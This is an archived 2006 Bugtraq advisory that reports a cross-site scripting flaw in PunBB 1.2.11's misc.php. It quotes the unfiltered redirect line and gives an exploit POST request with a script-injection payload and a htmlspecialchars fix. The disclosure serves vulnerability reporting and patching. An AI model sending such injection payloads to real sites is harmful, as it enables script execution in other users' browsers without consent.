bugtraq - PunBB 1.2.11 Cross-Site Scripting

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 3 May 2006 15:48:31 -0000
From: o.y.6@...mail.com
To: bugtraq@...urityfocus.com
Subject: PunBB	1.2.11 Cross-Site Scripting


PunBB	1.2.11 Cross-Site Scripting

	File name :- misc.php
    Action    :- Send Email
    Line      :- 123

[php]
redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);
[/php]

The $_POST['redirect_url'] = Unfilter Input

Exploit :-

Send POST Request

[code]
GET :-
	/PunBB/misc.php?email=2
POST :-
	form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><script>alert(1);</script>
[/code]

Fix :-

Replace The Line With :-

[php]
redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);
[/php]